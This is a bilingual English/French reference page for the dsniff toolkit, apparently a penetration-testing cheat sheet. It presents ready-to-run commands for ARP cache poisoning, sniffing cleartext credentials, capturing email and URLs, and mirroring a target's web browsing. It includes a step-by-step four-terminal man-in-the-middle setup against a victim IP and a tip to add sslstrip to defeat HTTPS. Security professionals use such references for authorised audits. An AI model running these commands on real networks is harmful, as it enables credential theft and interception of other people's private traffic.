dsniff

Boîte à outils de sniffing réseau pour l'audit et les tests d'intrusion. Capture les identifiants depuis le trafic réseau : FTP, Telnet, SMTP, HTTP, POP, IMAP, et de nombreux autres protocoles. Network sniffing toolkit for auditing and penetration testing. Captures credentials from network traffic — FTP, Telnet, SMTP, HTTP, POP, IMAP, and many more protocols.

↗ https://monkey.org/~dugsong/dsniff/

Overview

dsniff is a collection of tools for network auditing and penetration testing. The suite includes password sniffers, ARP spoofers, and traffic interceptors. The core dsniff tool sniffs the network for clear-text credentials across dozens of protocols.

Core Tools

dsniff      — Password sniffer (main tool)
arpspoof    — ARP cache poisoning
dnsspoof    — DNS spoofing
filesnarf   — Snarfs files from NFS traffic
macof       — MAC table flooding
mailsnarf   — Captures email messages
msgsnarf    — Captures instant messages
tcpkill     — Kills TCP connections
tcpnice     — Throttles TCP connections
urlsnarf    — Captures HTTP URLs
webmitm     — HTTP/HTTPS MITM proxy
webspy      — Mirrors web browsing to local browser
sshmitm     — SSH MITM (session hijacking)

dsniff (Password Sniffer)

Sniff credentials on the network

sudo dsniff

On specific interface

sudo dsniff -i eth0

From a pcap file

sudo dsniff -p capture.pcap

Verbose (show all captures)

sudo dsniff -v
# Protocols captured automatically:
# FTP, Telnet, SMTP, HTTP, POP, IMAP, NNTP, X11, IRC
# MySQL, PostgreSQL, Oracle, LDAP, NFS, rsh, rsync

arpspoof (ARP Poisoning)

Enable IP forwarding first

echo 1 > /proc/sys/net/ipv4/ip_forward

Poison target → gateway

arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

Poison gateway → target (bidirectional)

arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
# Run both in separate terminals for full MITM

urlsnarf (HTTP URL Capture)

Capture all HTTP URLs on the network

sudo urlsnarf

On specific interface

sudo urlsnarf -i eth0

From pcap

sudo urlsnarf -p capture.pcap

mailsnarf (Email Capture)

Capture email messages (SMTP, POP3, IMAP)

sudo mailsnarf

From pcap

sudo mailsnarf -p capture.pcap
# Output: full email messages in Berkeley mbox format

webspy (Web Browsing Mirror)

Mirror a target’s web browsing to your local browser (requires arpspoof running)

sudo webspy -i eth0 192.168.1.50
# Opens your local browser whenever target visits a page
# Shows exactly what target is browsing in real-time

MITM Setup with dsniff

# Full credential capture MITM:

Terminal 1: Enable forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Terminal 2: ARP poison target (victim → gateway direction)

arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

Terminal 3: ARP poison gateway (gateway → victim direction)

arpspoof -i eth0 -t 192.168.1.1 192.168.1.50

Terminal 4: Start sniffing

dsniff -i eth0
# All cleartext credentials from 192.168.1.50 are now captured

Tips

  • dsniff only captures cleartext protocols — HTTPS, SSH, encrypted email are immune
  • Modern networks use HTTPS almost exclusively — combine with sslstrip for broader capture
  • macof floods the switch’s MAC table, forcing it to broadcast traffic (hub mode)
  • arpspoof + dsniff is a classic but noisy attack — modern IDS/IPS detect ARP poisoning
Help / Man page
dsniff [options]

-c          Enable half-duplex TCP reassembly
-d          Enable automatic protocol decoding
-m FILE     Trigger file for passive OS fingerprinting
-n          Don't resolve hostnames
-p FILE     Read from pcap file instead of live capture
-r FILE     Read from pcap
-s BUFSIZE  Set snaplen (default: 65535)
-w FILE     Write raw packets to pcap
-i IFACE    Interface
-v          Verbose

arpspoof:
-i IFACE    Interface
-t TARGET   Victim IP
GATEWAY     Gateway IP (positional argument)

Vue d’ensemble

dsniff est une collection d’outils pour l’audit réseau et les tests d’intrusion. La suite comprend des renifleurs de mots de passe, des outils d’ARP spoofing, et des intercepteurs de trafic. L’outil central dsniff renifle le réseau à la recherche d’identifiants en clair sur des dizaines de protocoles.

Outils principaux

dsniff      : Renifleur de mots de passe (outil principal)
arpspoof    : Empoisonnement du cache ARP
dnsspoof    : Spoofing DNS
filesnarf   : Récupère des fichiers depuis le trafic NFS
macof       : Saturation de la table MAC
mailsnarf   : Capture les e-mails
msgsnarf    : Capture les messageries instantanées
tcpkill     : Tue les connexions TCP
tcpnice     : Ralentit les connexions TCP
urlsnarf    : Capture les URL HTTP
webmitm     : Proxy MITM HTTP/HTTPS
webspy      : Reflète la navigation web vers le navigateur local
sshmitm     : MITM SSH (détournement de session)

dsniff (renifleur de mots de passe)

# Renifler les identifiants sur le réseau
sudo dsniff

# Sur une interface spécifique
sudo dsniff -i eth0

# Depuis un fichier pcap
sudo dsniff -p capture.pcap

# Verbeux (afficher toutes les captures)
sudo dsniff -v
# Protocoles capturés automatiquement :
# FTP, Telnet, SMTP, HTTP, POP, IMAP, NNTP, X11, IRC
# MySQL, PostgreSQL, Oracle, LDAP, NFS, rsh, rsync

arpspoof (empoisonnement ARP)

# Activer d'abord le forwarding IP
echo 1 > /proc/sys/net/ipv4/ip_forward

# Empoisonner cible → passerelle
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

# Empoisonner passerelle → cible (bidirectionnel)
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
# Lancer les deux dans des terminaux séparés pour un MITM complet

urlsnarf (capture d’URL HTTP)

# Capturer toutes les URL HTTP sur le réseau
sudo urlsnarf

# Sur une interface spécifique
sudo urlsnarf -i eth0

# Depuis un pcap
sudo urlsnarf -p capture.pcap

mailsnarf (capture d’e-mails)

# Capturer les e-mails (SMTP, POP3, IMAP)
sudo mailsnarf

# Depuis un pcap
sudo mailsnarf -p capture.pcap
# Sortie : e-mails complets au format Berkeley mbox

webspy (miroir de navigation web)

Reflète la navigation web d’une cible vers votre navigateur local (nécessite arpspoof en cours d’exécution)

sudo webspy -i eth0 192.168.1.50
# Ouvre votre navigateur local à chaque fois que la cible visite une page
# Montre exactement ce que la cible consulte en temps réel

Mise en place d’un MITM avec dsniff

# MITM complet pour la capture d'identifiants :

Terminal 1 : Activer le forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Terminal 2 : ARP poison de la cible (direction victime → passerelle)

arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

Terminal 3 : ARP poison de la passerelle (direction passerelle → victime)

arpspoof -i eth0 -t 192.168.1.1 192.168.1.50

Terminal 4 : Démarrer le sniffing

dsniff -i eth0
# Tous les identifiants en clair depuis 192.168.1.50 sont désormais capturés

Conseils

  • dsniff ne capture que les protocoles en clair : HTTPS, SSH, e-mail chiffré y sont immunisés
  • Les réseaux modernes utilisent presque exclusivement HTTPS : combinez avec sslstrip pour une capture plus large
  • macof sature la table MAC du switch, le forçant à diffuser le trafic (mode hub)
  • arpspoof + dsniff est une attaque classique mais bruyante : les IDS/IPS modernes détectent l’ARP poisoning
Aide / Page de manuel
dsniff [options]

-c          Enable half-duplex TCP reassembly
-d          Enable automatic protocol decoding
-m FILE     Trigger file for passive OS fingerprinting
-n          Don't resolve hostnames
-p FILE     Read from pcap file instead of live capture
-r FILE     Read from pcap
-s BUFSIZE  Set snaplen (default: 65535)
-w FILE     Write raw packets to pcap
-i IFACE    Interface
-v          Verbose

arpspoof:
-i IFACE    Interface
-t TARGET   Victim IP
GATEWAY     Gateway IP (positional argument)